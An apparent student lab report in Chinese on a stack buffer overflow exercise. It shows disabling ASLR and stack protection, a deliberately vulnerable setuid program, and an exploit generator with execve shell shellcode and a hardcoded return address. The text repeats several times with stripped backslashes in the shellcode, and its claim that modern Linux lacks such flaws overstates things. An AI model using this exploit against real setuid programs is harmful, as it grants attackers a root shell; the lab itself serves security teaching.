缓冲区溢出漏洞实验
实验背景
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写
正式实验
1.安装一些用于编译 32 位 C 程序的软件包
$ sudo apt-get update
$ sudo apt-get install -y lib32z1 libc6-dev-i386
$ sudo apt-get install -y lib32readline-gplv2-dev
![](https://img2018.cnblogs.com/blog/1800797/201912/1800797-20191211111048006-1722072570.jpg)
2.关闭地址随机化
$ sudo sysctl -w kernel.randomize_va_space=0
![](https://img2018.cnblogs.com/blog/1800797/201912/1800797-20191211111103290-733348936.jpg)
3.linux 系统中,/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash
$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit
4.在 /tmp 目录下新建一个 stack.c 文件:
$ cd /tmp
$ vi stack.c
stack.c:
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
5.通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
编译该程序,并设置 SET-UID
$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit
![](https://img2018.cnblogs.com/blog/1800797/201912/1800797-20191211111129634-397322201.jpg)
GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。
-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
6.在 /tmp 目录下新建一个 exploit.c 文件
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"x31xc0" //xorl %eax,%eax
"x50" //pushl %eax
"x68""//sh" //pushl $0x68732f2f
"x68""/bin" //pushl $0x6e69622f
"x89xe3" //movl %esp,%ebx
"x50" //pushl %eax
"x53" //pushl %ebx
"x89xe1" //movl %esp,%ecx
"x99" //cdq
"xb0x0b" //movb $0x0b,%al
"xcdx80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码,x??x??x??x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。
7.gdb 调试
$ gdb stack
$ disass main
![](https://img2018.cnblogs.com/blog/1800797/201912/1800797-20191211111148186-318801979.jpg)
![](https://img2018.cnblogs.com/blog/1800797/201912/1800797-20191211111202127-1733509450.jpg)
8.现在修改exploit.c文件!将 x??x??x??x?? 修改为 x84xd4xffxff
$ gcc -m32 -o exploit exploit.c
![](https://img2018.cnblogs.com/blog/1800797/201912/1800797-20191211111208596-1028490355.jpg)
9.先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:
![](https://img2018.cnblogs.com/blog/1800797/201912/1800797-20191211111223307-1071252666.jpg)
总结
本次实验是缓冲区溢出实验,实验楼上的原版环境无法运行,会卡在-m32编译stack.c这里,于是更换了之前的环境,可以正常运行,但是发现,到调试那一步的时候,无法调试运行,卡住的原因可能是没有关闭地址随机化,但是通过查看地址,发现我已经关闭了地址随机化。所以原因暂时不明。
总之,这个实验过程是体验过了,知道了通过攻击漏洞会让缓冲区溢出。不过新版的linux是没有这些漏洞的,安全性大可放心。
-
相关阅读:
第一节 麒麟系统安装+基础环境搭建(JDK+Scala)
launchMode之的几种取值
[JAVA · 0基础]:16.经常使用类
hdu 2767 Proving Equivalences 强连通缩点
一个最简单的示例与简单性能分析
Opencl API解释(一)
OpenCL 第10课:kernel,work_item和workgroup
GPU 的硬件基本概念,Cuda和Opencl名词关系对应
Ubuntu12.04-64bits搭建FFmpeg环境
ubuntu64bits环境下搭建Opencl的环境
-
原文地址:https://www.cnblogs.com/funmary/p/12021347.html
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写
正式实验
1.安装一些用于编译 32 位 C 程序的软件包
$ sudo apt-get update
$ sudo apt-get install -y lib32z1 libc6-dev-i386
$ sudo apt-get install -y lib32readline-gplv2-dev
![](https://img2018.cnblogs.com/blog/1800797/201912/1800797-20191211111048006-1722072570.jpg)
2.关闭地址随机化
$ sudo sysctl -w kernel.randomize_va_space=0
![](https://img2018.cnblogs.com/blog/1800797/201912/1800797-20191211111103290-733348936.jpg)
3.linux 系统中,/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash
$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit
4.在 /tmp 目录下新建一个 stack.c 文件:
$ cd /tmp
$ vi stack.c
stack.c:
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
5.通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
编译该程序,并设置 SET-UID
$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit
![](https://img2018.cnblogs.com/blog/1800797/201912/1800797-20191211111129634-397322201.jpg)
GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。
-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
6.在 /tmp 目录下新建一个 exploit.c 文件
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"x31xc0" //xorl %eax,%eax
"x50" //pushl %eax
"x68""//sh" //pushl $0x68732f2f
"x68""/bin" //pushl $0x6e69622f
"x89xe3" //movl %esp,%ebx
"x50" //pushl %eax
"x53" //pushl %ebx
"x89xe1" //movl %esp,%ecx
"x99" //cdq
"xb0x0b" //movb $0x0b,%al
"xcdx80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码,x??x??x??x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。
7.gdb 调试
$ gdb stack
$ disass main
![](https://img2018.cnblogs.com/blog/1800797/201912/1800797-20191211111148186-318801979.jpg)
![](https://img2018.cnblogs.com/blog/1800797/201912/1800797-20191211111202127-1733509450.jpg)
8.现在修改exploit.c文件!将 x??x??x??x?? 修改为 x84xd4xffxff
$ gcc -m32 -o exploit exploit.c
![](https://img2018.cnblogs.com/blog/1800797/201912/1800797-20191211111208596-1028490355.jpg)
9.先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:
![](https://img2018.cnblogs.com/blog/1800797/201912/1800797-20191211111223307-1071252666.jpg)
总结
本次实验是缓冲区溢出实验,实验楼上的原版环境无法运行,会卡在-m32编译stack.c这里,于是更换了之前的环境,可以正常运行,但是发现,到调试那一步的时候,无法调试运行,卡住的原因可能是没有关闭地址随机化,但是通过查看地址,发现我已经关闭了地址随机化。所以原因暂时不明。
总之,这个实验过程是体验过了,知道了通过攻击漏洞会让缓冲区溢出。不过新版的linux是没有这些漏洞的,安全性大可放心。
1.安装一些用于编译 32 位 C 程序的软件包
$ sudo apt-get update
$ sudo apt-get install -y lib32z1 libc6-dev-i386
$ sudo apt-get install -y lib32readline-gplv2-dev
2.关闭地址随机化
$ sudo sysctl -w kernel.randomize_va_space=0
3.linux 系统中,/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash
$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit
4.在 /tmp 目录下新建一个 stack.c 文件:
$ cd /tmp
$ vi stack.c
stack.c:
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
5.通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
编译该程序,并设置 SET-UID
$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。
-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
6.在 /tmp 目录下新建一个 exploit.c 文件
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"x31xc0" //xorl %eax,%eax
"x50" //pushl %eax
"x68""//sh" //pushl $0x68732f2f
"x68""/bin" //pushl $0x6e69622f
"x89xe3" //movl %esp,%ebx
"x50" //pushl %eax
"x53" //pushl %ebx
"x89xe1" //movl %esp,%ecx
"x99" //cdq
"xb0x0b" //movb $0x0b,%al
"xcdx80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码,x??x??x??x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。
7.gdb 调试
$ gdb stack
$ disass main
8.现在修改exploit.c文件!将 x??x??x??x?? 修改为 x84xd4xffxff
$ gcc -m32 -o exploit exploit.c
9.先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:
总结
本次实验是缓冲区溢出实验,实验楼上的原版环境无法运行,会卡在-m32编译stack.c这里,于是更换了之前的环境,可以正常运行,但是发现,到调试那一步的时候,无法调试运行,卡住的原因可能是没有关闭地址随机化,但是通过查看地址,发现我已经关闭了地址随机化。所以原因暂时不明。
总之,这个实验过程是体验过了,知道了通过攻击漏洞会让缓冲区溢出。不过新版的linux是没有这些漏洞的,安全性大可放心。
本次实验是缓冲区溢出实验,实验楼上的原版环境无法运行,会卡在-m32编译stack.c这里,于是更换了之前的环境,可以正常运行,但是发现,到调试那一步的时候,无法调试运行,卡住的原因可能是没有关闭地址随机化,但是通过查看地址,发现我已经关闭了地址随机化。所以原因暂时不明。
总之,这个实验过程是体验过了,知道了通过攻击漏洞会让缓冲区溢出。不过新版的linux是没有这些漏洞的,安全性大可放心。
launchMode之的几种取值
[JAVA · 0基础]:16.经常使用类
hdu 2767 Proving Equivalences 强连通缩点
一个最简单的示例与简单性能分析
Opencl API解释(一)
OpenCL 第10课:kernel,work_item和workgroup
GPU 的硬件基本概念,Cuda和Opencl名词关系对应
Ubuntu12.04-64bits搭建FFmpeg环境
ubuntu64bits环境下搭建Opencl的环境